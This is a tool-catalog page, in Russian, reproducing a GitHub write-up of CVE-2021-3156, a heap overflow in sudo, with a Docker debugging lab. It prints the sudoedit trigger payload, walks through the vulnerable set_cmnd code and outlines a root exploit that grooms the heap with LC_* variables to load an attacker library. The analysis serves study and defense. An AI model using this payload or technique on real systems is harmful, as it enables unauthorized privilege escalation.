Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-3156 — CVE-2021-3156 POC, Docker и разбор. | Kitploit
Инструменты/GitHubGitHub/chenaotian/cve-2021-3156
Повышение привилегийАнализ уязвимостейАнализ КодаЭксплуатацияОбратная инженерияОтладчикиФаззингТестирование на ПроникновениеОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
112154 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
chenaotian/cve-2021-3156

CVE-2021-3156

CVE-2021-3156 POC, Docker и разбор.

Репозиторий

CVE-2021-3156

[toc]

Описание уязвимости

Идентификатор: CVE-2021-3156

Оценка уязвимости:

Затронутый продукт: linux sudo

Затронутые версии: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1

Условия эксплуатации: linux локально; sudo установлен как suid и может быть запущен

Эффект эксплуатации: локальное повышение привилегий

Получение исходного кода: https://www.sudo.ws/getting/source/

Настройка окружения

docker окружение: chenaotian/cve-2021-3156

Я настроил docker, который предоставляет:

  1. Самостоятельно скомпилированный sudo с исходным кодом для отладки
  2. glibc с отладочными символами
  3. gdb и плагины gdb pwngdb & pwndbg
  4. exp.c и скомпилированный exp

Всё находится в /root:

image-20220124223312224

  • каталог exp содержит код exp и скомпилированные файлы, можно запускать прямо в этом docker
  • glibc-2.27 — каталог исходного кода версии libc в этом окружении
  • sudo-1.8.21 — каталог исходного кода sudo в этом окружении, именно эту версию я использовал для сборки.

Тестирование exp:``` cd exp su test ./exp whoami

Содержание, связанное с отладкой, см. далее [一些调试命令](#一些调试命令)


## Принцип уязвимости

Payload для срабатывания уязвимости```shell
sudoedit -s '\' `python3 -c "print('A'*80)"`

Анализ исходного кода (sudo-1.8.21): Прежде всего, функция main в sudo.c (sudo.c: 133):```c int main(int argc, char *argv[], char *envp[]) { int nargc, ok, status = 0; char **nargv, **env_add; char **user_info, **command_info, **argv_out, **user_env_out; struct sudo_settings *settings; struct plugin_container *plugin, *next; sigset_t mask; debug_decl_vars(main, SUDO_DEBUG_MAIN)

··· ···
··· ···

/* Parse command line arguments. */
//在这里处理输入参数,设置sudo_mode
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);

··· ···
··· ···
    
switch (sudo_mode & MODE_MASK) {
··· ···
··· ···
case MODE_EDIT:
case MODE_RUN:
    ok = policy_check(&policy_plugin, nargc, nargv, env_add,
	&command_info, &argv_out, &user_env_out);
    ··· ···
    ··· ···
}

··· ···
··· ···

}

- 首先调用parse_args 函数处理我们输入的参数,其实这里我们就输入了一个`-s` 而已,没什么可设置的,将sudo_mode 设置成 MODE_EDIT 和 MODE_SHELL。

- 然后根据sudo_mode 不同,MODE_EDIT 回调用policy_check

接下来是在sudo.c 中的policy_check函数(sudo.c: 1136):```c
static int
policy_check(struct plugin_container *plugin, int argc, char * const argv[],
    char *env_add[], char **command_info[], char **argv_out[],
    char **user_env_out[])
{
    ··· ···
    ··· ···
    ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
	argv_out, user_env_out);
    ···
}

Вызывается функция обратного вызова plugin->u.policy->check_policy, можно отладить и посмотреть реальную функцию этой функции:

image-20220123113326096

Вызывается функция sudoers_policy_check из policy.c (policy.c: 760):```c static int sudoers_policy_check(int argc, char * const argv[], char *env_add[], char **command_infop[], char **argv_out[], char **user_env_out[]) { ··· ···

exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;

ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
··· ···
··· ···

}

Затем была вызвана функция sudoers_policy_main в sudoers.c (sudoers.c: 224):```c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    void *closure)
{
    ··· ···
    ··· ···

    /*
     * Make a local copy of argc/argv, with special handling
     * for pseudo-commands and the '-i' option.
     */
    if (argc == 0) {
	··· ···
    } else {
	/* Must leave an extra slot before NewArgv for bash's --login */
	NewArgc = argc;
	NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
	··· ···
	}
	memcpy(++NewArgv, argv, argc * sizeof(char *));
	NewArgv[NewArgc] = NULL;
	··· ···
	}
    }
	··· ···
    cmnd_status = set_cmnd();
    ··· ···
    ··· ···
    ··· ···
}

Здесь устанавливаются некоторые глобальные переменные, NewArgc и NewArgv, как показано ниже, по сути это переданные параметры.

image-20220123113819116

Затем выполняется переход к функции set_cmnd в sudoers.c (sudoers.c: 796):```c static int set_cmnd(void) { ··· ··· ··· ···

/* set user_args */
if (NewArgc > 1) {
    char *to, *from, **av;
    size_t size, n;

    /* Alloc and build up user_args. */
    //根据参数总长度计算size, 后续malloc 申请,没有问题
    for (size = 0, av = NewArgv + 1; *av; av++)
	size += strlen(*av) + 1;
    if (size == 0 || (user_args = malloc(size)) == NULL) {
	sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
	debug_return_int(-1);
    }
    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
	/*
	 * When running a command via a shell, the sudo front-end
	 * escapes potential meta chars.  We unescape non-spaces
	 * for sudoers matching and logging purposes.
	 */
     //将所有参数拷贝到一起放到堆中,逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符
     //但这里\x00 并不算空格类型字符
     //他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况
	for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
	    while (*from) {
		if (from[0] == '\\' && !isspace((unsigned char)from[1]))
		    from++;
		*to++ = *from++;
	    }
	    *to++ = ' ';
	}
	*--to = '\0';
    } 
    ··· ···
}
}
··· ···
··· ···

}

Переполнение также происходит здесь, как видно из комментариев в коде: переполнение кучи происходит при копировании в кучу. Исходный код, по замыслу, копирует все аргументы из `NewArgv` в кучу, разделяя пробелами, а при встрече `\+символ не пробел` копирует только этот символ.

**Однако он не предусматривает случай, когда элемент `NewArgv` заканчивается на `\`, то есть структуру `\+\x00`. А `\x00` не относится к пробельным символам (странно). Это означает, что после копирования `\x00` в кучу переменная `from` увеличивается ещё раз (дважды за один цикл) и пропускает шанс проверки окончания по `\x00`, считая, что копирование аргументов не завершено, и продолжает копирование до следующего `\x00`.**

В данном сценарии видно, что `\+\x00` непосредственно следует за следующим аргументом `A*80`, поэтому копирование продолжится до конца `A*80`. Но не забывайте, что затем будет обработан и настоящий аргумент `A*80`, и он будет скопирован снова. Таким образом, `A*80` копируется дважды, хотя размер выделенного чанка рассчитывался только под одну строку `A*80`, что значительно превышает выделенный размер.

image-20220123113907744

После этого происходит переполнение. До копирования:

image-20220123114036691

После копирования:

image-20220123114137794

Общий путь срабатывания уязвимости (при отладке можно ставить точки останова непосредственно на эти функции):

- sudo.c : main
  - sudo.c : policy_check
    - policy.c : sudoerrs_policy_check
      - sudoers.c : sudoers_policy_main
        - sudoers.c : set_cmnd
          - sudoers.c : 859

## Принцип эксплуатации уязвимости

Опираясь на [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156), **однако его метод компоновки кучи маловероятен; здесь подробно анализируется метод компоновки кучи**. Через передачу переменных окружения `LC_*` выполняется компоновка кучи таким образом, чтобы переполняемый чанк накрыл структуру `service_user`, используемую функцией `nss_load_library` для загрузки so. В этой структуре перезаписывается строка имени so, чтобы программа загрузила заданный нами so и выполнила произвольный код.

Хотя логика кажется ясной, детали, которые нужно проработать, довольно сложны:

1. Соответствующие структуры данных и механизмы в `nss_load_library`
2. Как `setlocale` с помощью переменных окружения `LC_*` выполняет компоновку кучи

Далее будем называть переполняемый чанк, в котором происходит уязвимость, **vuln chunk**, а цель переполнения — **target chunk**.

### Принцип nss

Сначала посмотрим на ключевой код эксплуатации:
Скачать инструмент